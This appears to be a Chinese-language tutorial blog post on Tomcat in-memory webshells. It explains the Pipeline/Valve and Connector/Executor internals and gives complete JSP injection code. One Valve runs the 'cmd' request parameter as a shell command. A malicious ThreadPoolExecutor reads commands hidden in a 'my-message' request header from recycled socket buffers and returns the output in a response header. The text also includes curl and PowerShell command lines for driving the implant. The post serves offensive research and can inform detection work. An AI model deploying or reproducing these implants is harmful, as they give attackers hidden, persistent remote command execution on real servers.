每层容器有一条 Pipeline,里面串着多个 Valve(阀门);请求按顺序流经这些 Valve,最后由该层的 Basic Valve 把控制权交给下一层,直到命中目标 Servlet

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
Socket → Http11Processor → CoyoteAdapter
│ │
│ 转为 Catalina 的 │ 调用 Engine 的管线
▼ Request/Response ▼
[Engine].Pipeline: [自定义 Valve]* → StandardEngineValve
│ 选择 Host

[Host].Pipeline: [自定义 Valve]* → StandardHostValve
│ 选择 Context

[Context].Pipeline: [自定义 Valve]* → StandardContextValve
│ 选择 Wrapper / 构建 FilterChain

[Wrapper].Pipeline: [自定义 Valve]* → StandardWrapperValve
│ 分配/加载 Servlet → 执行 FilterChain → Servlet.service()

返回上一层,按栈回收/收尾
  • 每个容器(Container)——EngineHostContextWrapper——各自有一条 Pipeline
  • 每条 Pipeline 里有若干可插拔的 Valve(你配置的)和一个Basic Valve(该容器的“标准”阀,如 StandardHostValve),顺序是:先执行你加的,再执行 Basic
  • Basic Valve 的职责是完成本容器的核心工作,并把请求传递到下一级容器的 Pipeline(例如:Engine → Host,Host → Context,Context → Wrapper)。

在这个过程中,Valve容器级拦截器(Tomcat 专有,Catalina 的 Pipeline 里)。我们只需在运行时向 Engine/Host/Context/Wrapper 这四种 Container 组件中的任意一个的 pipeline 中插入一个我们自定义的 valve,就可以在其中对相应的请求进行拦截并执行我们想要的功能。

Pipeline 接口存在 addValve 方法,其实现类 org.apache.catalina.core.StandardPipeline 实现了这个方法:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
/**
* 将一个新的 Valve 追加到当前 Container 所属 Pipeline 的“末尾”。
*
* 语义说明:
* - 若该 Valve 实现了 Contained,则在加入前先注入所属的 Container(valve.setContainer(container))。
* 如果 Valve 不接受这个 Container,可能抛 IllegalArgumentException / IllegalStateException。
* - 若当前 Pipeline 已处于可用状态(已启动),并且该 Valve 实现了 Lifecycle,则立即启动它(valve.start())。
* - 以单向链表的方式把新 Valve 挂到 Basic Valve 之前,确保执行顺序为:已有自定义 valves... → 新 valve → basic。
* - 最后广播“ADD_VALVE_EVENT”容器事件,方便外部监听器感知变更。
*
* @param valve 要添加的 Valve
* @throws IllegalArgumentException 当容器或 Valve 拒绝关联时
* @throws IllegalStateException 当 Valve 已经归属于另一个 Container 时
*/
@Override
public void addValve(Valve valve) {

// 1) 可选:向实现了 Contained 的 Valve 注入所属 Container
// 这一步可能因 Valve 不接受该 container 而抛出 IAE/ISE(由 setContainer 实现决定)。
if (valve instanceof Contained) {
((Contained) valve).setContainer(this.container);
}

// 2) 若当前 Pipeline 已经处于“可用”状态,
// 则对实现了 Lifecycle 的 Valve 进行启动(与容器生命周期对齐)。
if (getState().isAvailable()) {
if (valve instanceof Lifecycle) {
try {
((Lifecycle) valve).start();
} catch (LifecycleException e) {
// 启动失败:记录错误日志,但不中断添加流程
log.error(sm.getString("standardPipeline.valve.start"), e);
}
}
}

// 3) 把新 Valve 挂到链表末尾(Basic Valve 之前)
// Pipeline 内部结构:first -> ... -> (last) -> basic
if (first == null) {
// 链表为空:新 Valve 成为第一个,next 指向 basic
first = valve;
valve.setNext(basic);
} else {
// 链表非空:从 first 开始找到“最后一个指向 basic 的节点”,把新 Valve 插在它与 basic 之间
Valve current = first;
while (current != null) {
if (current.getNext() == basic) {
current.setNext(valve); // 原 last 指向新 valve
valve.setNext(basic); // 新 valve 指向 basic
break;
}
current = current.getNext();
}
}

// 4) 通知:向外发布“添加 Valve”事件,供监听器/管理端感知
container.fireContainerEvent(Container.ADD_VALVE_EVENT, valve);
}

要想调用 Pipeline#addValve 方法注册自定义的 Valve 则需要先获取容器,而 org.apache.catalina.core.ContainerBase#getPipeline 可以获取当前容器的 Pipeline

1
2
3
4
5
6
7
8
9
10
11
12
13
/**
* 返回与当前 Container 关联的 Pipeline(管道)对象,用于管理本容器上的 Valve 链。
*
* 说明:
* - 通常为 StandardPipeline 实例,随容器生命周期创建/销毁。
* - 管道内包含 0..n 个自定义 Valve,末尾必有一个 Basic Valve(保底阀)。
* - 通过 Pipeline 可进行 addValve/removeValve/getFirst 等操作以调整链路。
* - 返回的是同一个 Pipeline 引用而非拷贝;调用方应遵守线程安全与生命周期约束。
*/
@Override
public Pipeline getPipeline() {
return this.pipeline; // 当前容器持有的管道实例
}

由于 StandardContext 本身就是一个容器,因此我们只需要调用 StandardContextgetPipeline 方法获取它的 Pipeline 然后将自定义的 Valve 注册进去即可。

1
standardContext.getPipeline().addValve(new MyValve());

接下来是如何定义一个 Valve。前面 addValve 函数的参数是 Valve 类型,这里 Valve 是一个接口:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
/**
* Valve(阀门):绑定到某个 Container(Engine/Host/Context/Wrapper)的
* “请求处理单元”。多个 Valve 通常被组织成一条 Pipeline(责任链)。
*
* 命名缘起:现实中的管道用阀门(Valve)控制/改变流量;Tomcat 用 Valve
* 控制/改写请求处理的“流”。
*/
public interface Valve {

// ------------------------------------------------------------- 属性访问

/**
* 获取“本 Pipeline 中的下一个 Valve”。如果返回 null,说明当前 Valve
* 是链条里的最后一个(通常之后会进入该 Container 的 Basic Valve)。
*/
Valve getNext();

/**
* 设置“本 Pipeline 中的下一个 Valve”。Container/Pipeline 在组装链条时调用。
*
* @param valve 下一个 Valve;可为 null(表示末尾)
*/
void setNext(Valve valve);

// -------------------------------------------------------------- 公共方法

/**
* 执行周期性任务(如重载检测、资源清理等)。
* 由容器在其类加载上下文中定期调用;抛出的异常会被捕获并记录。
* (调用频率由上层 Container 的 backgroundProcessorDelay 等配置控制)
*/
void backgroundProcess();

/**
* Valve 的核心处理方法:对当前 Request/Response 进行检查、修改、包裹、
* 直接生成响应,或将控制权交给下一个 Valve。
*
* 一个 Valve 可以(按以下次序之一)做这些事:
* 1) 检查/修改 Request、Response 的属性;
* 2) 直接“完整生成”响应并返回(本 Valve 截断链路,不再往下传);
* 3) 包裹(wrap)Request/Response 以增强功能,然后继续传递;
* 4) 若未生成响应,则必须通过 getNext().invoke(...) 调用下一个 Valve;
* 5) 在下游返回后,检查(通常不再修改)最终的 Response。
*
* 一个 Valve 不应做的事(MUST NOT):
* - 修改已被用于路由/分派控制的请求属性(如在 Host/Context 级别试图改虚拟主机);
* - “已经生成完整响应”同时仍把请求传给下一个 Valve;
* - 随意消耗 Request 输入流(除非它负责完整生成响应或在传递前进行正确包裹);
* - 在 getNext().invoke(...) 返回之后再修改 Response 的 HTTP 头;
* - 在 getNext().invoke(...) 返回之后再操作 Response 的输出流。
*
* @param request 要处理的请求(Catalina 包装的 Request)
* @param response 要写入的响应(Catalina 包装的 Response)
* @throws IOException I/O 错误,或下游 Valve/Filter/Servlet 抛出的 I/O 异常
* @throws ServletException Servlet 错误,或下游抛出的 Servlet 异常
*/
void invoke(Request request, Response response)
throws IOException, ServletException;

/**
* 当前 Valve 是否支持 Servlet 3.0 的异步处理模型(Async)。
* 容器可据此决定在异步场景下是否绕过该 Valve 或采取兼容路径。
*/
boolean isAsyncSupported();
}

因此我们需要自己实现这些东西:

  • getNext()/setNext():维护链表里的“下一个 Valve”指针;
  • backgroundProcess():周期任务的默认处理;
  • isAsyncSupported():异步支持标志;

实际上在 Tomcat 中 ValveBase 已经实现了上面的大部分方法,常见自定义只需重写 invoke() 即可。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
class MyValve extends ValveBase {
@Override
public void invoke(Request request, Response response) throws IOException, ServletException {
try {
String cmd = request.getParameter("cmd");
boolean isLinux = true;
String osTyp = System.getProperty("os.name");
if (osTyp != null && osTyp.toLowerCase().contains("win")) {
isLinux = false;
}
String[] cmds = isLinux ? new String[]{"sh", "-c", cmd} : new String[]{"cmd.exe", "/c", cmd};
InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
Scanner s = new Scanner(in).useDelimiter("\\a");
String output = s.hasNext() ? s.next() : "";
PrintWriter out = response.getWriter();
out.println(output);
out.flush();
out.close();
} catch (Exception e) {
}
}
}

完整代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="javax.servlet.*" %>
<%@ page import="java.io.IOException" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.connector.Request" %>
<%@ page import="org.apache.catalina.valves.ValveBase" %>
<%@ page import="org.apache.catalina.connector.Response" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.util.Scanner" %>
<%@ page import="java.io.PrintWriter" %>

<%
class MyValve extends ValveBase {
@Override
public void invoke(Request request, Response response) throws IOException, ServletException {
try {
String cmd = request.getParameter("cmd");
boolean isLinux = true;
String osTyp = System.getProperty("os.name");
if (osTyp != null && osTyp.toLowerCase().contains("win")) {
isLinux = false;
}
String[] cmds = isLinux ? new String[]{"sh", "-c", cmd} : new String[]{"cmd.exe", "/c", cmd};
InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
Scanner s = new Scanner(in).useDelimiter("\\a");
String output = s.hasNext() ? s.next() : "";
PrintWriter out = response.getWriter();
out.println(output);
out.flush();
out.close();
} catch (Exception e) {
}
}
}%>

<%
Field reqF = request.getClass().getDeclaredField("request");
reqF.setAccessible(true);
Request req = (Request) reqF.get(request);
StandardContext standardContext = (StandardContext) req.getContext();
standardContext.getPipeline().addValve(new MyValve());
out.println("inject success");
%>

Executor 型内存马

在 Tomcat 架构中,Connector 用于和客户端交互(socket 通信),承担了 HTTP 服务器的功能。Connector 主要由 ProtocolHandlerAdapter 构成。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
Client
│ TCP

[Connector (Catalina) org.apache.catalina.connector.Connector]
├─ 持有:ProtocolHandler (Coyote) ← 真正负责监听/协议解析
│ | 例如 org.apache.coyote.http11.Http11NioProtocol
│ |
│ ├─ Endpoint (util.net) org.apache.tomcat.util.net.NioEndpoint ← 传输层
│ │ ├─ Acceptor (阻塞 accept 新连接,注册到 Poller)
│ │ ├─ Poller (Selector 轮询就绪事件)
│ │ ├─ LimitLatch (并发连接闸,配合 maxConnections)
│ │ └─ SocketProcessor (把就绪 socket 封成任务 → 交给 Executor)
│ │ └─ Executor (线程池:内部私有 或 共享 <Executor>)→ Executor.execute(...)
│ └─ Processor (Coyote) org.apache.coyote.http11.Http11Processor ← 应用层 HTTP/1.1 解析

└─ Adapter → CoyoteAdapter (Catalina)
→ Pipeline/Valve → Servlet/Filter
  • Connector:对外的“HTTP 服务器”组件,负责监听端口、接收连接、读写字节流。它不直接跑 Servlet,而是把请求交给内部的容器(Catalina)去处理。
  • ProtocolHandler:Connector 的核心实现,负责传输层应用层协议两部分。典型实现是 **Http11NioProtocol**(HTTP/1.1 + Java NIO)。
    • Endpoint(NioEndpoint):负责接收连接、非阻塞轮询与字节读写;启动时会创建 Acceptor 与 Poller 线程
      • Acceptor:阻塞在 ServerSocketChannel.accept(),接到新连接后调用 setSocketOptions() 并把通道注册给 Poller。线程名通常形如 http-nio-8080-Acceptor-0
      • Poller:Poller 基于 Selector就绪事件轮询,并把就绪 Socket 包装为任务(SocketProcessor)投递给线程池;它自身不做业务解析。
      • LimitLatch并发连接闸门。能被“获取”到固定次数,其余请求进入 FIFO 等待,直到有配额归还。用于实现 maxConnections 限制的底层原语之一一。
      • SocketProcessor(任务):从 Poller 交付的 socket 包装成 Runnable,投递到 Executor。在 doRun() 中调用协议栈处理。
      • Executor(线程池):真正执行 SocketProcessor 的线程池。未显式配置 <Executor> 时,Connector 会使用私有内部线程池;配置了共享 <Executor> 时,以后者为准。
    • Processor(Http11Processor):负责解析请求行/首部/包体、处理 keep-alive/pipeline/期望机制等,然后经 CoyoteAdapter 进入 Catalina 容器。
  • Adapter:把 Coyote(连接器侧)的请求对象转成 Catalina(容器侧)能理解的请求,并把处理结果再适配回去,典型类是 **CoyoteAdapter**。

在 Tomcat 中 Executor 由 Service 维护,Service 配了 <Executor> 就让该 Service 下所有 Connector/Endpoint 共用这个线程池;没配的话每个 Endpoint 各自新建私有线程池,互不共享。

当 Poller 线程发现某个 socket 就绪,把它打包成任务交给线程池执行,调用栈如下:

1
2
3
4
5
at org.apache.tomcat.util.threads.ThreadPoolExecutor.execute(ThreadPoolExecutor.java:1376)
at org.apache.tomcat.util.net.AbstractEndpoint.processSocket(AbstractEndpoint.java:1288)
at org.apache.tomcat.util.net.NioEndpoint$Poller.processKey(NioEndpoint.java:781)
at org.apache.tomcat.util.net.NioEndpoint$Poller.run(NioEndpoint.java:748)
at java.lang.Thread.run(Thread.java:748)

其中 AbstractEndpoint#processSocket 把任务要么直接在当前线程执行,要么(常见)派发给线程池。但是对于 HTTP 请求则会走 派发路径。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
// ---------------------------------------------- 请求处理方法

/**
* 用给定的状态(event)来处理指定的 SocketWrapper。
* 常用于“模拟 Poller(对带 Poller 的 Endpoint 而言)已选中该 socket”
* 的场景,从而触发后续处理。
*
* @param socketWrapper 要处理的套接字包装对象
* @param event 要处理的套接字事件(例如 OPEN_READ、OPEN_WRITE 等)
* @param dispatch 是否把处理派发到新的“容器线程”(线程池中的工作线程)。
* 为 true 且存在 Executor 时,异步提交到线程池;
* 否则在当前线程里同步执行。
*
* @return 触发处理是否成功(true 表示已成功触发执行,false 表示失败)
*/
public boolean processSocket(SocketWrapperBase<S> socketWrapper,
SocketEvent event, boolean dispatch) {
try {
// 1) 空检查:没有可处理的 socket,直接返回失败
if (socketWrapper == null) {
return false;
}

SocketProcessorBase<S> sc = null;

// 2) 从处理器缓存(对象池)中尝试取一个可复用的 SocketProcessor
if (processorCache != null) {
sc = processorCache.pop();
}

if (sc == null) {
// 3) 缓存里没有可用的处理器,则创建新的处理器并绑定当前 socket 与事件
sc = createSocketProcessor(socketWrapper, event);
} else {
// 4) 复用旧处理器:重置为当前 socket 与事件,避免重复创建对象
sc.reset(socketWrapper, event);
}

// 5) 获取执行器(线程池):可能是共享 <Executor> 或 Endpoint 的私有线程池
Executor executor = getExecutor();

if (dispatch && executor != null) {
// 6a) 需要派发且有可用线程池:把任务提交给线程池异步执行
executor.execute(sc);
} else {
// 6b) 否则:在当前线程中直接执行(同步运行)
sc.run();
}
} catch (RejectedExecutionException ree) {
// 线程池拒绝执行(如队列已满、线程池已关闭或饱和):记录警告并返回失败
getLog().warn(sm.getString("endpoint.executor.fail", socketWrapper), ree);
return false;
} catch (Throwable t) {
// 捕获其他严重错误(如 OOM、线程创建失败等),按 Tomcat 约定处理/标注
ExceptionUtils.handleThrowable(t);
// 记录错误并返回失败
getLog().error(sm.getString("endpoint.process.fail"), t);
return false;
}

// 7) 若未出现异常,说明已成功触发处理
return true;
}

这里的 executor 是 endpoint 自己启动的 ThreadPoolExecutor 类,接着调用了 org.apache.tomcat.util.threads.ThreadPoolExecutor#execute

因此我们可以创建一个恶意的 Executor 类继承 ThreadPoolExecutor,并重写其中的 execute 方法,然后通过 AbstractEndpoint#setExecutor 将原本的 executor 替换为我们构造的恶意 executor,那么在调用该方法的时候将会执行恶意代码。

1
2
3
4
5
6
7
8
9
/**
* External Executor based thread pool.
*/
private Executor executor = null;

public void setExecutor(Executor executor) {
this.executor = executor;
this.internalExecutor = (executor == null);
}

这里 AbstractEndpoint 是一个抽象类,通常 Tomcat 中真正实例化的是 org.apache.tomcat.util.net.NioEndpoint,我们可以通过对象搜索找到一条获取 NioEndpoint 对象的路径。

下面是一条可行路径:

1
2
3
4
Thread(名字形如 http-nio-8080-Acceptor)
└─ target (Runnable) = Acceptor/AbstractEndpoint$Acceptor
├─ endpoint 字段 → 指向 NioEndpoint
└─ 或 this$0 外部引用 → 同样指向 NioEndpoint(非静态内部类的合成字段)

Tomcat 给每个 Connector 起了有规律的线程名(http-nio-<port>-Acceptor / Poller)。这些线程的 target 就是 Acceptor/Poller 对象;而 Acceptor 是 AbstractEndpoint 的内部类,持有对外部 Endpoint 的引用(有的版本字段名就是 endpoint,有的由编译器生成为 this$0),所以顺着这条链就能拿到 NioEndpoint

最终我们可以通过下面这段代码注册内存马:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
public Object getStandardService() {
Thread[] threads = (Thread[]) this.getField(Thread.currentThread().getThreadGroup(), "threads");
for (Thread thread : threads) {
if (thread == null) {
continue;
}
if ((thread.getName().contains("Acceptor"))) {
Object target = this.getField(thread, "target");
Object nioEndPoint = null;
try {
nioEndPoint = getField(target, "endpoint");
} catch (Exception e) {
}
if (nioEndPoint == null) {
try {
nioEndPoint = getField(target, "this$0");
if (nioEndPoint == null)
continue;
return nioEndPoint;
} catch (Exception e) {
}
} else {
return nioEndPoint;
}
}
}
return new Object();
}

NioEndpoint nioEndpoint = (NioEndpoint) getStandardService();
ThreadPoolExecutor exec = (ThreadPoolExecutor) getField(nioEndpoint, "executor");
threadexcutor exe = new threadexcutor(exec.getCorePoolSize(), exec.getMaximumPoolSize(), exec.getKeepAliveTime(TimeUnit.MILLISECONDS), TimeUnit.MILLISECONDS, exec.getQueue(), exec.getThreadFactory(), exec.getRejectedExecutionHandler());
nioEndpoint.setExecutor(exe);

虽然现在我们可以注册 Executor 内存马,但是还是无法解决内存马的通信问题。

这是因为标准的 ServletRequest 需要经过 Adapter 的封装后才可获得,这里还在 Endpoint 阶段,其后面封装的 ServletRequestServletResponse 是不能直接获取的。因此我们需要寻找底层与请求数据处理相关的结构来实现通信。

nioChannelsNioEndpoint 里的一个 对象池(池化缓存),类型是 SynchronizedStack<NioChannel>。它只存“闲置NioChannel”,也就是已经关闭或暂时不用的连接包装对象。这样下一次再有新连接进来时,端点优先从池子里 pop() 复用一个旧的 NioChannel,避免频繁 new 和随之而来的 GC 压力。

其中 stack 成员是 nioChannels 的底层数组,也就是真正存放缓存对象的地方。当一条连接刚刚关闭并回收到池时,NioChannel 及其关联对象(NioSocketWrapperHttp11InputBuffer 等)会被重置不会立刻清零底层字节数组。因此我们可以获取到里面残留的数据,从中提取出需要执行的命令

1
2
3
4
5
6
7
NioEndpoint
└─ nioChannels = SynchronizedStack<NioChannel> ← 只放“闲置/回收”的连接对象
└─ NioChannel (Closed)
├─ socketWrapper = NioSocketWrapper (Closed)
└─ appReadBufHandler / Http11InputBuffer
└─ byteBuffer = HeapByteBuffer[pos=0 lim=0 cap=16384]
└─ hb (byte[]) = "GET /aaa ...\r\nconnection: closee\r\n\r\n"

提示

大多数情况下我们看到 nioChannelsstack 数组中的元素都是 null,这是因为 HTTP/1.1 默认长连接(keep-alive),连接不会马上关闭,自然不会把 NioChannel 放回对象池,导致对象池是空的。

解决办法是先通过下面这条命令快速发生多个带有 Connection: close 的连接请求,让“每个请求用完就关闭”,促使 NioChannel 频繁被 push 回池

1
2
3
for i in {1..2}; do
curl -s -o /dev/null --http1.1 -H "Connection: close" http://127.0.0.1:8080/aaa &
done; wait

这样导致对象池非空,后续请求也就会复用池中的对象,从而实现通信。当然这里的复用也不是 100% 就能复用的,一个数据包可能得发几次才能复用(堆风水)。

另外由于 Tomcat 在后续处理数据包的时候由在缓冲区内部做了一些特殊操作,导致数据包中所请求头的最后一个字符会重复一个。实际通信的时候需要忽略这个重复的字符。

1
2
3
4
5
6
GET /aaa HTTP/1.1
host:127.0.0.1:80800
user-agent:curl/7.81.00
accept:*/**
connection:closee

最终我们获取请求数据的代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
static final String MY_MESSAGE = "my-message";

public String getRequest() {
try {
Thread[] threads = (Thread[]) getField(Thread.currentThread().getThreadGroup(), "threads");

for (Thread thread : threads) {
if (thread != null) {
String threadName = thread.getName();
if (threadName.contains("Acceptor")) {
Object target = getField(thread, "target");
if (target instanceof Runnable) {
try {
Object[] objects = (Object[]) getField(getField(getField(target, "endpoint"), "nioChannels"), "stack");
ByteBuffer heapByteBuffer = (ByteBuffer) getField(getField(objects[0], "appReadBufHandler"), "byteBuffer");
String data = new String(heapByteBuffer.array(), StandardCharsets.UTF_8);

if (data.contains(MY_MESSAGE)) {
return data.substring(
data.indexOf(MY_MESSAGE) + MY_MESSAGE.length() + 1,
data.indexOf("\r", data.indexOf(MY_MESSAGE)) - 1
);
}

} catch (Exception ignored) {
}
}
}
}
}
} catch (Exception ignored) {
}
return "";
}

我们只需要将通信数据放到请求头的 my-message 对应的值中即可:

1
2
3
4
GET / HTTP/1.1
my-message: whoami


回显数据时,Tomcat 的 org.apache.catalina.connector.Response(通过 ResponseFacade 暴露给应用)实现HttpServletResponse 接口。

对于HTTP/1.1的请求,Tomcat使用一个处理器类叫 Http11Processor。每当它处理一个请求时,都会持有两个基础对象:

  • org.apache.coyote.Request
  • org.apache.coyote.Response

但应用程序一般并不会直接操作这两个对象。Tomcat上面还有一层 Catalina(即Servlet容器层),你在Servlet代码中经常看到的 HttpServletRequestHttpServletResponse 都是Catalina层提供的对象。具体来说,Catalina真正负责实现HTTP响应功能的是:org.apache.catalina.connector.Response,它实现了接口 HttpServletResponse

为了防止应用程序随意修改底层实现细节,应用程序实际拿到的是一个外层包装对象:**ResponseFacade**,它也实现了相同接口,但内部调用都会委托给真正干活的 connector.Response

由于 Http11Processor(继承自 org.apache.coyote.AbstractProcessor)在处理一次请求时持有 Coyote 层的 Request/Response,因此我们可以在这个阶段搜索到该对象:

1
2
3
4
5
6
7
8
9
Thread(名字形如 http-nio-8080-Acceptor)
└─ target : AbstractEndpoint$Acceptor / NioEndpoint$Acceptor(Runnable)
└─ endpoint : NioEndpoint
└─ handler : AbstractProtocol$ConnectionHandler
└─ proto : Http11NioProtocol
└─ global : RequestGroupInfo
└─ processors : List<RequestInfo> ← 活跃请求清单(进行中的 Processor)
└─ req : org.apache.coyote.Request(Coyote)
└─ response : org.apache.coyote.Response(Coyote) ← ★ 已拿到

拿到 Response 对象后我们就可以使用 addHeader 方法将要回显的数据添加到响应头中。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
public void getResponse(String res) {
try {
Thread[] threads = (Thread[]) getField(Thread.currentThread().getThreadGroup(), "threads");

for (Thread thread : threads) {
if (thread != null) {
String threadName = thread.getName();
if (threadName.contains("Acceptor")) {
Object target = getField(thread, "target");
if (target instanceof Runnable) {
try {
ArrayList<?> objects = (ArrayList<?>) getField(getField(getField(getField(target, "endpoint"), "handler"), "global"), "processors");
for (Object tmp_object : objects) {
RequestInfo request = (RequestInfo) tmp_object;
Response response = (Response) getField(getField(request, "req"), "response");
response.addHeader("Result", res);
}
} catch (Exception ignored) {
}
}
}
}
}
} catch (Exception ignored) {
}
}

提示

由于 Response 中的 buffer 不好扩容,并且后面可能出现覆盖等问题,因此这里不将回显数据放到响应体里面。

另外将回显内容放到响应头中会存在字符限制。为了避免在 Windows 下执行命令结果出现下面这种报错:

1
警告: The HTTP response header [Result] with value [ ���

我们需要将结果 base64 编码一下:

1
2
3
4
GET / HTTP/1.1
my-message: powershell -NoProfile -Command "[Convert]::ToBase64String([Text.Encoding]::UTF8.GetBytes((cmd /c ipconfig | Out-String)))"


完整代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
<%@ page import="org.apache.tomcat.util.net.NioEndpoint" %>
<%@ page import="org.apache.tomcat.util.threads.ThreadPoolExecutor" %>
<%@ page import="java.util.concurrent.TimeUnit" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="java.util.concurrent.BlockingQueue" %>
<%@ page import="java.util.concurrent.ThreadFactory" %>
<%@ page import="java.nio.ByteBuffer" %>
<%@ page import="java.util.ArrayList" %>
<%@ page import="org.apache.coyote.RequestInfo" %>
<%@ page import="org.apache.coyote.Response" %>
<%@ page import="java.io.IOException" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.io.InputStreamReader" %>
<%@ page import="java.io.BufferedReader" %>
<%@ page import="java.nio.charset.StandardCharsets" %>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>

<%!
public Object getField(Object object, String fieldName) {
Field declaredField;
Class<?> clazz = object.getClass();
while (clazz != Object.class) {
try {
declaredField = clazz.getDeclaredField(fieldName);
declaredField.setAccessible(true);
return declaredField.get(object);
} catch (NoSuchFieldException | IllegalAccessException ignored) {
}
clazz = clazz.getSuperclass();
}
return null;
}


public Object getStandardService() {
Thread[] threads = (Thread[]) this.getField(Thread.currentThread().getThreadGroup(), "threads");
for (Thread thread : threads) {
if (thread == null) {
continue;
}
if ((thread.getName().contains("Acceptor"))) {
Object target = this.getField(thread, "target");
Object nioEndPoint = null;
try {
nioEndPoint = getField(target, "endpoint");
} catch (Exception ignored) {
}
if (nioEndPoint == null) {
try {
nioEndPoint = getField(target, "this$0");
if (nioEndPoint == null)
continue;
return nioEndPoint;
} catch (Exception ignored) {
}
} else {
return nioEndPoint;
}
}
}
return new Object();
}

public class threadexcutor extends ThreadPoolExecutor {

static final String MY_MESSAGE = "my-message";

public threadexcutor(int corePoolSize, int maximumPoolSize, long keepAliveTime, TimeUnit unit, BlockingQueue<Runnable> workQueue, ThreadFactory threadFactory, RejectedExecutionHandler handler) {
super(corePoolSize, maximumPoolSize, keepAliveTime, unit, workQueue, threadFactory, handler);
}

public String getRequest() {
try {
Thread[] threads = (Thread[]) getField(Thread.currentThread().getThreadGroup(), "threads");

for (Thread thread : threads) {
if (thread != null) {
String threadName = thread.getName();
if (threadName.contains("Acceptor")) {
Object target = getField(thread, "target");
if (target instanceof Runnable) {
try {
Object[] objects = (Object[]) getField(getField(getField(target, "endpoint"), "nioChannels"), "stack");
ByteBuffer heapByteBuffer = (ByteBuffer) getField(getField(objects[0], "appReadBufHandler"), "byteBuffer");
String data = new String(heapByteBuffer.array(), StandardCharsets.UTF_8);

if (data.contains(MY_MESSAGE)) {
return data.substring(
data.indexOf(MY_MESSAGE) + MY_MESSAGE.length() + 1,
data.indexOf("\r", data.indexOf(MY_MESSAGE)) - 1
);
}

} catch (Exception ignored) {
}
}
}
}
}
} catch (Exception ignored) {
}
return "";
}


public void getResponse(String res) {
try {
Thread[] threads = (Thread[]) getField(Thread.currentThread().getThreadGroup(), "threads");

for (Thread thread : threads) {
if (thread != null) {
String threadName = thread.getName();
if (threadName.contains("Acceptor")) {
Object target = getField(thread, "target");
if (target instanceof Runnable) {
try {
ArrayList<?> objects = (ArrayList<?>) getField(getField(getField(getField(target, "endpoint"), "handler"), "global"), "processors");
for (Object tmp_object : objects) {
RequestInfo request = (RequestInfo) tmp_object;
Response response = (Response) getField(getField(request, "req"), "response");
response.addHeader("Result", res);
}
} catch (Exception ignored) {
}
}
}
}
}
} catch (Exception ignored) {
}
}

@Override
public void execute(Runnable command) {
String cmd = getRequest();
if (cmd.length() > 1) {
try {
Runtime rt = Runtime.getRuntime();
Process process = rt.exec(cmd);
InputStream in = process.getInputStream();

InputStreamReader resultReader = new InputStreamReader(in);
BufferedReader stdInput = new BufferedReader(resultReader);
StringBuilder s = new StringBuilder();
String tmp = "";
while ((tmp = stdInput.readLine()) != null) {
s.append(tmp);
}
if (!s.toString().isEmpty()) {
getResponse(s.toString());
}
} catch (IOException ignored) {
}
}
this.execute(command, 0L, TimeUnit.MILLISECONDS);
}
}
%>

<%
NioEndpoint nioEndpoint = (NioEndpoint) getStandardService();
ThreadPoolExecutor exec = (ThreadPoolExecutor) getField(nioEndpoint, "executor");
threadexcutor exe = new threadexcutor(exec.getCorePoolSize(), exec.getMaximumPoolSize(), exec.getKeepAliveTime(TimeUnit.MILLISECONDS), TimeUnit.MILLISECONDS, exec.getQueue(), exec.getThreadFactory(), exec.getRejectedExecutionHandler());
nioEndpoint.setExecutor(exe);
%>

Upgrade 型内存马

除了 EndPoint 下的 Executor,实际上 Processor 中也能找到内存马的植入点。

Processor 负责处理字节流生成 Tomcat Request 对象,将 Tomcat Request 对象传递给 Adapter。其实就是处理 HTTP 请求的,对应的类为 org.apache.coyote.AbstractProcessorLight

Tomcat 在处理请求时,http-nio-8080-exec-* 线程有如下调用栈:

1
2
3
4
5
6
7
8
9
service:553, Http11Processor (org.apache.coyote.http11)
process:63, AbstractProcessorLight (org.apache.coyote)
process:934, AbstractProtocol$ConnectionHandler (org.apache.coyote)
doRun:1690, NioEndpoint$SocketProcessor (org.apache.tomcat.util.net)
run:52, SocketProcessorBase (org.apache.tomcat.util.net)
